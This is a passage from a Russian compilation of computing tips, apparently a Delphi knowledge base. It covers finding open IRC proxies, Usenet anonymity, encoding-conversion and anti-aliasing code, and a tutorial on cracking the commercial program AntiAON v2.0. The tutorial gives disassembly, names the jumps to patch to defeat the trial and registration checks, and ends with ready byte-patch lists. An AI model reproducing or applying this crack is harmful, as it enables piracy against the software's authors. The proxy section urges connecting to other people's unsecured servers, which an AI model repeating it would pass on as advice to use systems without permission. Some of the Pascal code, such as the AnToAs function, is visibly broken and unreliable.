Адрес прокси вписывается вместо адреса IRC сервера. Прокси намертво связан с одной из IRC сетей, так что если вы нашли адрес прокси в DALnet, то только в далнет им и можно пользоваться. Теперь самое интересное: как найти подобный IRC прокси сервер. Это вполне возможно, хотя и довольно сложно. Пару адресов мне дали, один я нашел сам за час. "Не тяни резину, выкладывай адреса!", слышу я крики читателей. Не дам, не обижайтесь. Сотня обращений на один такой сервер в день из домена .ru - и удовольствие кончится. Некоторое время назад я попросил читателей присылать найденные ими адреса серверов с тем, чтобы опубликовать более-менее длинный список. Не откликнулся никто. Ну что же, спасение утопающих - дело рук самих утопающих. Не хотите делиться информацией - не надо. На письма с просьбой поделиться адресом отвечать НЕ БУДУ. Каждый желающий будет искать сам; рассказываю о том, как это делать.
Как говорил мой преподаватель матанализа, "в отличие от чисто механического процесса дифференцирования, интегрирование - процесс творческий". Тоже самое относится и к поиску IRC прокси. Постулат первый: похоже, что большинство прокси обитает в странах с различными кодировками национального алфавита, т.е. в Японии, Тайване, Сингапуре, России и т.д. Ищите пользователей из этих доменов, смотрите на их имена хостов, отбрасывайте заведомо нереальные для прокси адреса (dialup, ppp, и т.д.) и обращайте внимание на адреса короткие и "говорящие", вроде iso.aaa.com.tr, gateway.nuc.tw, win.irc.connect.jp, но только ими не ограничивайтесь, например по адресу loxnet.loxley.co.th тоже расположен прокси, но он пароль требует:( Постулат второй: IRC прокси обитают и в западных странах, причем часто имеют в имени хоста слово proxy. Итак, нашли адрес, попробовали подсоединиться (обычно порт 6667), что удобно делать во втором окне, не работает - ищите дальше. Короче говоря, чистое творчество, точного рецепта нет. Дерзайте.Анонимность в Usenet.
Оформил: DeeCo
Большинство людей, использующих Usenet, знают, как важно бывает скрыть свою личность. Во-первых, как только вы послали любое сообщение в любую группу новостей, ваш почтовый ящик с необычайной скоростью начинает наполняться junk mail, т.е. всяким мусором, рассказывающим, как разбогатеть за месяц, остановить выпадение волос и другой подобной дрянью. Во-вторых, ваши публично высказанные взгляды могут вызвать волну откликов, причем не только в рамках группы новостей, но и направленных напрямую автору сообщения, что не всегда желательно. В-третьих, ваши друзья, коллеги или работодатель могут натолкнуться на ваше сообщение, причем оно может им не понравиться. Короче говоря, причин может быть много, а вывод один: совсем не плохо знать, как сохранить анонимность в Usenet. Ниже следует краткое описание методов, которыми можно воспользоваться для этой цели. Первые два метода дают вам возможность пользоваться альтернативным электронным адресом, при этом ответы на ваше сообщение в Usenet (а также junk mail) вы получать все равно будете, а вот ваша реальная личность останется скрытой. Третий метод дает полную анонимность: никакой почты вообще. Так что выбирайте тот, который больше подходит. Метод №1 Использование коммерческой службы для отправки сообщений в группы новостей. Стоит денег, но прост в использовании. Адреса: http://www.nymserver.com/ и http://www.mailanon.com/ (последняя служба предоставляет семидневный бесплатный пробный период). Вот цитата со страницы одного из этих сайтов (переводить автору лень): A Nymserver is a internet service that protects your real email identity behind a "fake" email address. Any mail sent to your anonymous email address will automatically be forwarded to your REAL email address. In effect, you can give out your anonymous email address and nobody can know who the real person behind that anonymous address is! Метод №2 Получение бесплатного электронного адреса в Hotmail или NetAddress, что, по сути, равнозначно получению "фиктивного" адреса, поскольку ваше настоящее имя давать совсем не обязательно, и использование DejaNews free posting service. Метод чуть более сложен, чем первый. Никому не известно кто вы, но чтобы скрыть еще и где вы, следует воспользоваться прокси-сервером, иначе ваш IP адрес будет обнаруживать ваше географическое положение. Об использовании прокси серверов можно прочесть в главе По WWW - без следов. Другим недостатком метода является поле FROM в отправленном сообщении, поскольку в нем какое-то, пусть и фиктивное, имя фигурировать будет, например "John Johnson JOHN@HOTMAIL.COM". Метод №3 Использование mail-to-news gateway в сочетании с анонимным римейлером. Mail-to-news gateway позволяет пользователям отправлять сообщения в группы новостей с использованием электронной почты, а не местного сервера новостей. Но если пользоваться этим сервисом "в лоб", то ваше имя и обратный адрес будут фигурировать в сообщении, т.к. mail-to-news gateways их не анонимизируют. Для того, чтобы достичь полной анонимности, следет использовать комбинацию анонимного римейлера и mail-to-news gateway, т.е. отправить сообщение в mail-to-news gateway с сайта такого римейлера. Это просто: отправляйтесь на такой сайт, затем к странице, позволяющей отправлять сообщения (можно воспользоваться SSL-защищенной формой), наберите ваше сообщение, а поле TO: заполните в соответствии со следующей схемой: Для отправки сообщения, например, в группу alt.test, адрес должен быть таким: m2n-YYYYMMDD-alt.test@alpha.jpunix.com где YYYYMMDD - это текущая дата (год, месяц, день). Для отправки сообщения в несколько групп их названия следует разделить знаком "+". Например, для отправки сообщения в alt.test и misc.test 11 сентября 1997, адрес таков: m2n-19970911-alt.test+misc.test@alpha.jpunix.com Вот и все. Ваше сообщение будет выглядеть так:Date: Thu, 11 Sep 1997 11: 09: 02 + 0200(MET DST) Message - ID: < 199709111009. MAA29412@basement.replay.com > Subject: Just testing From: nobody@REPLAY.COM(Anonymous) Organization: Replay and Company UnLimited X - 001: Replay may or may not approve of the content of this posting X - 002: Report misuse of this automated service to ABUSE@REPLAY.COM X - URL: http: //www.replay.com/remailer/ Mail - to -News - Contact: postmaster@alpha.jpunix.com Newsgroups: alt.test, misc.test This is only a test href = "http: //www.publius.net/rlist.html">http://www.publius.net/rlist.htmlЯ разработала (freeware) комплект bat-файлов и инструкций, обеспечивающий полную privacy e-mail переписки благодаря использованию nymserver-а, PGP и программы шифрования диска. От читателя по имени Kramer: Все сообщения, отправляемый в usenet, по умолчанию сохраняются в базе данных навеки. Если вы не хотите, чтобы сообщение было заархивировано, следует воспользоваться командой "X-no-archive:yes". Это можно сделать либо путем добавления этого дополнительного заголовка в сообщение, если news - клиент позволяет это сделать, либо просто в первой строке сообщения написать "x-no-archive:yes" (без кавычек). Об этом можно прочесть на сайте DejaNews. Иногда пользователь отправляет сообщение, а потом жалеет об этом, особенно если он не воспользовался заголовком "x-no-archive:yes". Dejanews позволяет "убить" отправленное ранее сообщение. Об этой операции, называемой nuking, можно прочесть здесь:http://www.dejanews.com/help/faq.shtml#nuke. Некоторые пользователи предпочитают пользоваться usenet, избегая возможного наблюденя провайдера. В этом случае неплохим решением становится использование публичных серверов новостей, их список можно найти здесь:http://www.geocities.com/SiliconValley/Lab/4757/.
Кодировка KOI8-R.
Автор: Delirium WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Кодировка KOI8-R
Кодировка из Ansi в KOI8-R
Зависимости: нет
Автор: Delirium, VideoDVD@hotmail.com, ICQ:118395746, Москва
Copyright: Delirium (Master BRAIN) 2003
Дата: 17 октября 2003 г.
***************************************************** }
function ANSI2KOI8R(S: string): string;
var
Ansi_CODE, KOI8_CODE: string;
i: integer;
begin
KOI8_CODE := 'бвчздецъйклмнопртуфхжигюыэящшьасБВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭЯЩШЬАС—Ј';
ANSI_CODE := 'АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя№ё';
Result := S;
for i := 1 to Length(Result) do
if Pos(Result[i], ANSI_CODE) > 0 then
Result[i] := KOI8_CODE[Pos(Result[i], ANSI_CODE)];
end;
Автоопределение кодировки ANSI-OEM.
| - Маша, давай прошвырнемся в кино? - ? - Ну давай хоть в кабак сходим. - ? - А-а, понял, кодировка глючит... |
const
l3_csANSI = 0;
{-признак кодировки ANSII}
l3_csOEM = 255;
{-признак кодировки OEM}
type
cc_Graph_CriteriaRange = #176..#223; {-критерий для определения псевдографики}
TChars = set of char;
Long = LongInt;
const
cc_OEM_CriteriaEx = [#128..#175] + [#224..#239];
cc_ANSI_CriteriaEx = [#192..#255];
cc_Graph_Criteria = [Low(cc_Graph_CriteriaRange)..High(cc_Graph_CriteriaRange)];
type
T_cc_GraphCounts = array [cc_Graph_CriteriaRange] of Longint;
procedure l3AnalizeCharSetEx(var Buf: PChar; BufEnd: PChar;
var OEMCount, ANSICount, GraphCount: Long;
var GraphCounts: T_cc_GraphCounts);
var
C : Char;
begin
OEMCount := 0;
ANSICount := 0;
GraphCount := 0;
for C := Low(T_cc_GraphCounts) to High(T_cc_GraphCounts) do GraphCounts[C] := 0;
while (Buf < BufEnd) do begin
C := Buf^;
Inc(Buf);
if (C in cc_OEM_CriteriaEx) then Inc(OEMCount);
if (C in cc_ANSI_CriteriaEx) then Inc(ANSICount);
if (C in cc_Graph_Criteria) then begin
Inc(GraphCounts[C]);
Inc(GraphCount);
end;
end;{Buf < BufEnd}
end;
function l3AnalizeCharSetExEx(Buf, BufEnd: PChar): Byte;
var
OEMCount : Long;
ANSICount : Long;
GraphCount : Long;
GraphCount_2: Long;
GraphCounts : T_cc_GraphCounts;
C : Char;
begin
l3AnalizeCharSetEx(Buf, BufEnd, OEMCount, ANSICount, GraphCount,GraphCounts);
if (OEMCount > ANSICount) then
Result := l3_csOEM
else if (GraphCount > = ANSICount) then begin
Result := 0;
GraphCount_2 := GraphCount div 2;
for C := Low(T_cc_GraphCounts) to High(T_cc_GraphCounts) do begin
If (GraphCounts[C] > GraphCount_2) then begin
Result := l3_csOEM;
break;
end;{GraphCounts[C] > ..}
end;{for C}
end else Result := 0;
end;
function l3AnalizeCharSetBuf(Buf: PChar; Len: Long): Byte;
begin
Result := l3AnalizeCharSetExEx(Buf, Buf + Len);
end;
|
Преобразование Ansi to Ascii.
| Иисус изменил Вашу жизнь. Сохранить изменения? Да - Нет - Отмена. |
{преобразование Ansi to Ascii}
function AnToAs(s: String) : String;
Var i,kod : Integer;
begin
Result:=s;
for i:=1 to length(s) do
begin
kod:=Ord(s[i]);
if kod 13 then Result[i]:=' ';
if ( kod>=192) and ( kod=239) then
Result[i]:=Chr(kod-64);
if ( kod>=240) and ( kod=255) then
Result[i]:=Chr(kod-16);
if kod=168 then Result[i]:=Chr(240);
if kod=184 then Result[i]:=Chr(241);
end;
end;
|
AntiAON v2.0 by HellLabs.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Описание: эта программа представляет собой Анти Автоматический Определитель Номера. (это как в анекдоте про АнитАнтиАнтиАон) Программа довольно-таки славная, хоть мне так и не удалось обмануть свой собственный аон (МЕЛТ-25).
Я кранул эту программу двумя способами: 1) !!!Убираем втупую все сообщения и триал!!! Программа имеет 10-дневный триальный период, после чего отказывается выполнять свои прямые функции, т.е. препятствовать определению нашего номера. Заёмемся этим, ведь зелёных у нас не много. Итак, я перевёл время на 10 дней вперёд и посмотрел на реакцию программы: при старте выскакивает сообщение "Триал вышел". а на выходе из программы появляется сообщение "Спасибо за использование пробной версии!" Т.к. эти сообщения на русском, то будет бесполезно их искать в WDаsm'овском String REference, поскольку он совсем не понимает кирилицу. Поэтому откроем antiaon2.exe в хекс-редакторе и поищем эти строки вручную, а когда найдем - впишем вместо первой что-нибудь на английском (я написал "FUCKOFF") а виесто второй "FuckOFF2". Теперь сохраняем изменения и начинаем дизассемблировать antiaon2.exe в WDasme'e. После этого открываем String Reference и ищем первую введенную нами строку (FUCKOFF) а когда нашли - кликаем на ней, чтобы попасть в листинг:
* Reference CALL at Addresses: |:00402E5D,:004045FB,:00404D30 ;это адреса, по которым происходит вызов сообщений об окончании триальности | :004051DB 55 push ebp :004051DC 8BEC mov ebp, esp :004051DE 81EC80000000 sub esp, 00000080 :004051E4 56 push esi :004051E5 8BF1 mov esi, ecx :004051E7 837E5C00 cmp dword ptr [esi+5C], 00000000 :004051EB 7415 je 00405202 :004051ED 85F6 test esi, esi :004051EF 7403 je 004051F4 :004051F1 8B761C mov esi, dword ptr [esi+1C] * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004051EF(C) | :004051F4 6A30 push 00000030 * Possible StringDataRef fromData Obj - >"AntiAON v2 " | :004051F6 687C644300 push 0043647C * Possible StringData Ref from Data Ob j - >"FUCKOFF" | | :004051FB 68DC674300 push 004367DC :00405200 EB34 jmp 00405236 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004051EB(C) | :00405202 8B86580A0000 mov eax, dword ptr [esi+00000A58] :00405208 2B86540A0000 sub eax, dword ptr [esi+00000A54] :0040520E 83C00F add eax, 0000000F :00405211 50 push eax :00405212 8D4580 lea eax, dword ptr [ebp-80] :00405215 6870674300 push 00436770 :0040521A 50 push eax * Reference To: USER32.wsprintfA, Ord: 02ACh | :0040521B FF1590C44200 Call dword ptr [0042C490] :00405221 83C40C add esp, 0000000C :00405224 85F6 test esi, esi :00405226 7403 je 0040522B :00405228 8B761C mov esi, dword ptr [esi+1C].
Итак, по трём адресам (:00402E5D,:004045FB,:00404D30) происходит вызов процедуры показа сообщений либо о количестве дней оставшегося триала, либо об окончании триала. Теперь нужно пойти по этим адресам и попытаться обойти эти сообщения, для начала посмотрим, что происходит по первому адресу (:00402E5D) :
:00402E51 E8BA220000 call 00405110 ;проверяем зарегестрированны ли мы :00402E56 395E60 cmp dword ptr [esi+60], ebx :00402E59 7507 jne 00402E62 ;если да - то прыгаем :00402E5B 8BCE mov ecx, esi :00402E5D E879230000 call 004051DB ;если не прыгнули - вызываем процедурку с сообщениями! * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00402E59(C) | :00402E62 3BF3 cmp esi, ebx :00402E64 7403 je 00402E69 :00402E66 8B5E1C mov ebx, dword ptr [esi+1C].
Как видно, по адресу 00402E59 происходит проверка на необходимость выдачи ненужных нам сообщений. Здесь достаточно заменить jne 00402E62 на jmp 00402E62 и при старте программа никогда не выдаст вредного сообщения! Но когда пытаешься позвонить кому-нить, то опять выскакивают противные сообщения, это потому, что по двум другим адресам (004045FB,:00404D30) проверки не убраны, поэтому идем по адресу 004045FB и видим:
:004045F2 56 push esi :004045F3 8BF1 mov esi, ecx :004045F5 837E6000 cmp dword ptr [esi+60], 00000000 :004045F9 7505 jne 00404600 ; опять проверка :004045FB E8DB0B0000 call 004051DB ;если не прыгнули - сообщения!
Та же история, меняем по адресу 004045F9 строку jne 00404600 на jmp 00404600! Теперь идём по последнему адресу (00404D30) :
:00404D1E 56 push esi :00404D1F 8BF1 mov esi, ecx :00404D21 6A01 push 00000001 :00404D23 E8D9C10100 call 00420F01 :00404D28 837E6000 cmp dword ptr [esi+60], 00000000 :00404D2C 7507 jne 00404D35 ; снова проверка :00404D2E 8BCE mov ecx, esi :00404D30 E8A6040000 call 004051DB ; снова сообщения, если не прыгнули * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00404D2C(C) | :00404D35 837E5C00 cmp dword ptr [esi+5C], 00000000 :00404D39 7534 jne 00404D6F ;а вот тут ещё одна проверка! Её тоже надо убрать! :00404D3B 8D8E34040000 lea ecx, dword ptr [esi+00000434] :00404D41 E869CC0100 call 004219AF :00404D46 85C0 test eax, eax :00404D48 751C jne 00404D66 :00404D4A 85F6 test esi, esi :00404D4C 7403 je 00404D51 :00404D4E 8B761C mov esi, dword ptr [esi+1C].
Опять меняем по адресу 00404D2C строку jne 00404D35 на jmp 00404D35! Но тут ещё одна проверка чуть ниже (00404D39) тут надо поменять строку jne 00404D6F на jne 00404D3B, чтобы никуда не прыгать. И, наверное, всё!
Теперь уберём сообщение во время завершения работы "благодарим за использование..." Мы вначале заменили в хекс-редакторе эту строку на английские символы, поэтому поищим в String REference то, что мы ввели (я ввел "FuckOFF2"), после того, как нашли - кликаем и оказываемся тут:
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00402FD7(U) | :00402FDC 6A40 push 00000040 * Possible StringData Ref from Data Obj - >"AntiAON v2 " | :00402FDE 687C644300 push 0043647C * Possible StringData Ref from Data Obj - >"FUCKOFF2" | :00402FE3 6888644300 push 00436488 :00402FE8 50 push eax :00402FE9 FFD3 call ebx.
Как видите, эта процедура вызывается из одного единого места (00402FD7) перейдём по этому адресу и видим:
:00402FB0 8BCE mov ecx, esi :00402FB2 E82F020000 call 004031E6 :00402FB7 8D8EB8000000 lea ecx, dword ptr [esi+000000B8] :00402FBD E8D8260000 call 0040569A ;вызов проверки :00402FC2 837E6000 cmp dword ptr [esi+60], 00000000 :00402FC6 7523 jne 00402FEB ;если не нужно сообщения - прыгаем :00402FC8 6A00 push 00000000 :00402FCA 8BCE mov ecx, esi :00402FCC E8A4EA0100 call 00421A75 :00402FD1 85F6 test esi, esi :00402FD3 7504 jne 00402FD9 :00402FD5 33C0 xor eax, eax : 00 402 FD 7 E B0 3 jmp 00402FDC ;если не прыгнули - выводим сообщение.
Здесь просто меняем по адресу 00402FC6 строку jne 00402FEB на jmp 00402FEB и при завершении работы программы никаких сообщений мы не увидим! Всё! Программа кракнута, можно конечно ещё заменить в хекс-редакторе надпись "НЕЗАРЕГЕСТРИРОВАННАЯ КОПИЯ" на "Зарегестрированно на Валлкора", но это уже на любителя!
Ну и как всегда, для самых ленивых готовый крак: -----вырезать тут---------- HellLabs AntiAon 2.0 crack by vallkor//PTDS removes trial and all messages! antiaon2.exe 00002E59: 75 EB 00004D2C: 75 EB 00004D3A: 34 00 00002FC6: 75 EB 000045F9: 75 EB 00004605: 09 00 00036752: CD 2D 00036753: C5 20 0003681C: 48 76 0003681D: 65 61 00036820: 20 6B 00036821: 6C 6F 00036822: 61 72 00036823: 62 20 00036824: 73 20 00036826: 54 20 00036827: 65 20 00036828: 61 20 00036829: 6D 20 0003682D: F0 EE 0003682E: EE EB 0003682F: E1 ED 00036830: ED E0 00036831: E0 FF 00036832: FF 20 -----вырезать тут----------
2) Второй способ: подправляем процедуру регистрации, чтобы в любом случае мы были зарегистрированны!
Итак, когда в первой части туториала мы искали надпись "благодарим за использование программы", то рядом я случайно увидел надпись "Спасибо за регистроцию", я её тоже заменил на "fuckoff3", чтобы потом найти эту строку в WDasm'e и после дизассемблирования я открыл String Reference и нашел там эту самую строку (fuckoff3) кликнул на неё и оказался тут:
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00404FBB(C) | :00404FC0 6A40 push 00000040 * Possible StringData Ref from Data Obj - >" AntiAON v2 " | :00404FC2 687C644300 push 0043647C * Possible StringData Ref from Data Obj - >"fuckoff3" | :00404FC7 681C674300 push 0043671C :00404FCC 56 push esi.
Как видно из листинга, эта процедура вызывается только по одному адресу 00404FBB, идём по этому адресу и видим:
:00404FAA E89D000000 call 0040504C ;процедура проверки Рег. информации :00404FAF 85DB test ebx, ebx :00404FB1 7420 je 00404FD3 :00404FB3 837E6000 cmp dword ptr [esi+60], 00000000 :00404FB7 741A je 00404FD3 :00404FB9 85F6 test esi, esi :00404FBB 7403 je 00404FC0 ;если проверка провалилась - прыгаем! :00404FBD 8B761C mov esi, dword ptr [esi+1C].
Здесь нужно посмотреть, что же происходит в самой процедуре проверки, чтобы её чуть-чуть изменить. Идём по адресу 0040504C и видим вот этот код:
* Referenced by a CALL at Addresses: |:00402E4A , :00404F3E , :00404FAA ;процедуру проверки вызывают из трёх мест (при старте, при дозвоне, при выходе) | :0040504C 55 push ebp :0040504D 8BEC mov ebp, esp :0040504F 83EC10 sub esp, 00000010 :00405052 53 push ebx :00405053 56 push esi :00405054 8BF1 mov esi, ecx :00405056 57 push edi :00405057 6844674300 push 00436744 :0040505C 83666000 and dword ptr [esi+60], 00000000 :00405060 E8F4C80100 call 00421959 ;проверяем длинну нашего имени :00405065 80BE240A000000 cmp byte ptr [esi+00000A24], 00 :0040506C 8D9E240A0000 lea ebx, dword ptr [esi+00000A24] :00405072 745F je 004050D3 ;если меньше 1 - прыгаем :00405074 80BE040A000000 cmp byte ptr [esi+00000A04], 00 :0040507B 8DBE040A0000 lea edi, dword ptr [esi+00000A04] :00405081 7450 je 004050D3 ; если Р.Н. меньше 1 - прыгаем :00405083 8D45F0 lea eax, dword ptr [ebp-10] :00405086 50 push eax :00405087 53 push ebx :00405088 57 push edi :00405089 E880D5FFFF call 0040260E :0040508E 8D86440A0000 lea eax, dword ptr [esi+00000A44] :00405094 6A0F push 0000000F :00405096 50 push eax :00405097 8D45F0 lea eax, dword ptr [ebp-10] :0040509A 50 push eax :0040509B E830BC0000 call 00410CD0 ;сравниваем наш РН и правильный :004050A0 83C418 add esp, 00000018 :004050A3 85C0 test eax, eax :004050A5 7419 je 004050C0 ;если равны - прыгаем! :004050A7 6A20 push 00000020 :004050A9 6A00 push 00000000 :004050AB 53 push ebx :004050AC E88FB10000 call 00410240 :004050B1 6A20 push 00000020 :004050B3 6A00 push 00000000 :004050B5 57 push edi :004050B6 E885B10000 call 00410240 :004050BB 83C418 add esp, 00000018 :004050BE EB13 jmp 004050D3.
Здесь нужно поменять три строки: 1 по адресу 00405072 строку je 004050D3 на je 00405074 2 по адресу 00405081 строку je 004050D3 на je 00405083 3 по адресу 004050A5 строку je 004050C0 на jmp 004050C0.
ВСЁ! Программа ведёт себя, как зарегестрированная!
И для этого случаю тоже крак: ---------вырежь тут-------- Another HellLabs AntiAon 2.0 crack by vallkor//PTDS removes trial and all messages! antiaon2.exe 00005073: 5F 00 00005082: 50 00 000050A5: 74 EB ---------и тут-------------
ЗЫ: мне больше понравился второй метод взлома программы, но первый тоже описал, чтобы вы могли кракнуть программу, если процедура проверки вами не найдена. Решайте сами, что прикольнее!
Исследовал и наваял туториал: vallkor //PTDS (vallkor@chat.ru) {Комманда PTDS нуждается в новых членах! Если вы считаете, что способны на многое и хотите поделиться своими знаниями и взамен получить новые пишите мне}.
Как использовать anti-aliasing.
Автор: http://www.swissdelphicenter.ch
{The parameter "percent" needs an integer between 0 and 100
(include zero and 100). If "Percent" is 0, there will be no effect.
If it's 100 there will be the strongest effect.}
procedure Antialising(C: TCanvas; Rect: TRect; Percent: Integer);
var
l, p: Integer;
R, G, B: Integer;
R1, R2, G1, G2, B1, B2: Byte;
begin
with c do
begin
Brush.Style := bsclear;
lineto(200, 100);
moveto(50, 150);
Ellipse(50, 150, 200, 30);
for l := Rect.Top to Rect.Bottom do
begin
for p := Rect.Left to Rect.Right do
begin
R1 := GetRValue(Pixels[p, l]);
G1 := GetGValue(Pixels[p, l]);
B1 := GetBValue(Pixels[p, l]);
//Pixel links
//Pixel left
R2 := GetRValue(Pixels[p - 1, l]);
G2 := GetGValue(Pixels[p - 1, l]);
B2 := GetBValue(Pixels[p - 1, l]);
if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
begin
R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
Pixels[p - 1, l] := RGB(R, G, B);
end;
//Pixel rechts
//Pixel right
R2 := GetRValue(Pixels[p + 1, l]);
G2 := GetGValue(Pixels[p + 1, l]);
B2 := GetBValue(Pixels[p + 1, l]);
if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
begin
R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
Pixels[p + 1, l] := RGB(R, G, B);
end;
//Pixel oben
//Pixel up
R2 := GetRValue(Pixels[p, l - 1]);
G2 := GetGValue(Pixels[p, l - 1]);
B2 := GetBValue(Pixels[p, l - 1]);
if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
begin
R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
Pixels[p, l - 1] := RGB(R, G, B);
end;
//Pixel unten
//Pixel down
R2 := GetRValue(Pixels[p, l + 1]);
G2 := GetGValue(Pixels[p, l + 1]);
B2 := GetBValue(Pixels[p, l + 1]);
if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
begin
R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
Pixels[p, l + 1] := RGB(R, G, B);
end;
end;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Antialising(Image1.Canvas, Image1.Canvas.ClipRect, 100);
end;
Сглаживание.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Originally written by Horst Kniebusch, modified by alioth to make it(alot) faster.
}
procedure Antialiasing(Image: TImage; Percent: Integer);
type
TRGBTripleArray = array[0..32767] of TRGBTriple;
PRGBTripleArray = ^TRGBTripleArray;
var
SL, SL2: PRGBTripleArray;
l, m, p: Integer;
R, G, B: TColor;
R1, R2, G1, G2, B1, B2: Byte;
begin
with Image.Canvas do
begin
Brush.Style := bsClear;
Pixels[1, 1] := Pixels[1, 1];
for l := 0 to Image.Height - 1 do
begin
SL := Image.Picture.Bitmap.ScanLine[l];
for p := 1 to Image.Width - 1 do
begin
R1 := SL[p].rgbtRed;
G1 := SL[p].rgbtGreen;
B1 := SL[p].rgbtBlue;
// Left
if (p < 1) then m := Image.Width
else
m := p - 1;
R2 := SL[m].rgbtRed;
G2 := SL[m].rgbtGreen;
B2 := SL[m].rgbtBlue;
if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
begin
R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
SL[m].rgbtRed := R;
SL[m].rgbtGreen := G;
SL[m].rgbtBlue := B;
end;
//Right
if (p > Image.Width - 2) then m := 0
else
m := p + 1;
R2 := SL[m].rgbtRed;
G2 := SL[m].rgbtGreen;
B2 := SL[m].rgbtBlue;
if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
begin
R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
SL[m].rgbtRed := R;
SL[m].rgbtGreen := G;
SL[m].rgbtBlue := B;
end;
if (l < 1) then m := Image.Height - 1
else
m := l - 1;
//Over
SL2 := Image.Picture.Bitmap.ScanLine[m];
R2 := SL2[p].rgbtRed;
G2 := SL2[p].rgbtGreen;
B2 := SL2[p].rgbtBlue;
if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
begin
R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
SL2[p].rgbtRed := R;
SL2[p].rgbtGreen := G;
SL2[p].rgbtBlue := B;
end;
if (l > Image.Height - 2) then m := 0
else
m := l + 1;
//Under
SL2 := Image.Picture.Bitmap.ScanLine[m];
R2 := SL2[p].rgbtRed;
G2 := SL2[p].rgbtGreen;
B2 := SL2[p].rgbtBlue;
if (R1 <> R2) or (G1 <> G2) or (B1 <> B2) then
begin
R := Round(R1 + (R2 - R1) * 50 / (Percent + 50));
G := Round(G1 + (G2 - G1) * 50 / (Percent + 50));
B := Round(B1 + (B2 - B1) * 50 / (Percent + 50));
SL2[p].rgbtRed := R;
SL2[p].rgbtGreen := G;
SL2[p].rgbtBlue := B;
end;
end;
end;
end;
end;
//Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
Antialiasing(Image1, 80);
end;
Нарисовать линию без зазубринок.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
This code draws an anti-aliased line on a bitmap
This means that the line is not jagged like the
lines drawn using the LineTo() function
}
uses
Graphics, Windows;
type
TRGBTripleArray = array[0..1000] of TRGBTriple;
PRGBTripleArray = ^TRGBTripleArray;
// anti-aliased line
procedure WuLine(ABitmap : TBitmap ; Point1, Point2 : TPoint ; AColor : TColor);
var
deltax, deltay, loop, start, finish : integer;
dx, dy, dydx : single; // fractional parts
LR, LG, LB : byte;
x1, x2, y1, y2 : integer;
begin
x1 := Point1.X; y1 := Point1.Y;
x2 := Point2.X; y2 := Point2.Y;
deltax := abs(x2 - x1); // Calculate deltax and deltay for initialisation
deltay := abs(y2 - y1);
if (deltax = 0) or (deltay = 0) then begin // straight lines
ABitmap.Canvas.Pen.Color := AColor;
ABitmap.Canvas.MoveTo(x1, y1);
ABitmap.Canvas.LineTo(x2, y2);
exit;
end;
LR := (AColor and $000000FF);
LG := (AColor and $0000FF00) shr 8;
LB := (AColor and $00FF0000) shr 16;
if deltax > deltay then
begin // horizontal or vertical
if y2 > y1 then // determine rise and run
dydx := -(deltay / deltax)
else
dydx := deltay / deltax;
if x2 < x1 then
begin
start := x2; // right to left
finish := x1;
dy := y2;
end else
begin
start := x1; // left to right
finish := x2;
dy := y1;
dydx := -dydx; // inverse slope
end;
for loop := start to finish do
begin
AlphaBlendPixel(ABitmap, loop, trunc(dy), LR, LG, LB, 1 - frac(dy));
AlphaBlendPixel(ABitmap, loop, trunc(dy) + 1, LR, LG, LB, frac(dy));
dy := dy + dydx; // next point
end;
end else
begin
if x2 > x1 then // determine rise and run
dydx := -(deltax / deltay)
else
dydx := deltax / deltay;
if y2 < y1 then
begin
start := y2; // right to left
finish := y1;
dx := x2;
end else
begin
start := y1; // left to right
finish := y2;
dx := x1;
dydx := -dydx; // inverse slope
end;
for loop := start to finish do
begin
AlphaBlendPixel(ABitmap, trunc(dx), loop, LR, LG, LB, 1 - frac(dx));
AlphaBlendPixel(ABitmap, trunc(dx) + 1, loop, LR, LG, LB, frac(dx));
dx := dx + dydx; // next point
end;
end;
end;
// blend a pixel with the current colour
procedure AlphaBlendPixel(ABitmap : TBitmap ; X, Y : integer ; R, G, B : byte ; ARatio : Real);
Var
LBack, LNew : TRGBTriple;
LMinusRatio : Real;
LScan : PRGBTripleArray;
begin
if (X < 0) or (X > ABitmap.Width - 1) or (Y < 0) or (Y > ABitmap.Height - 1) then
Exit; // clipping
LScan := ABitmap.Scanline[Y];
LMinusRatio := 1 - ARatio;
LBack := LScan[X];
LNew.rgbtBlue := round(B*ARatio + LBack.rgbtBlue*LMinusRatio);
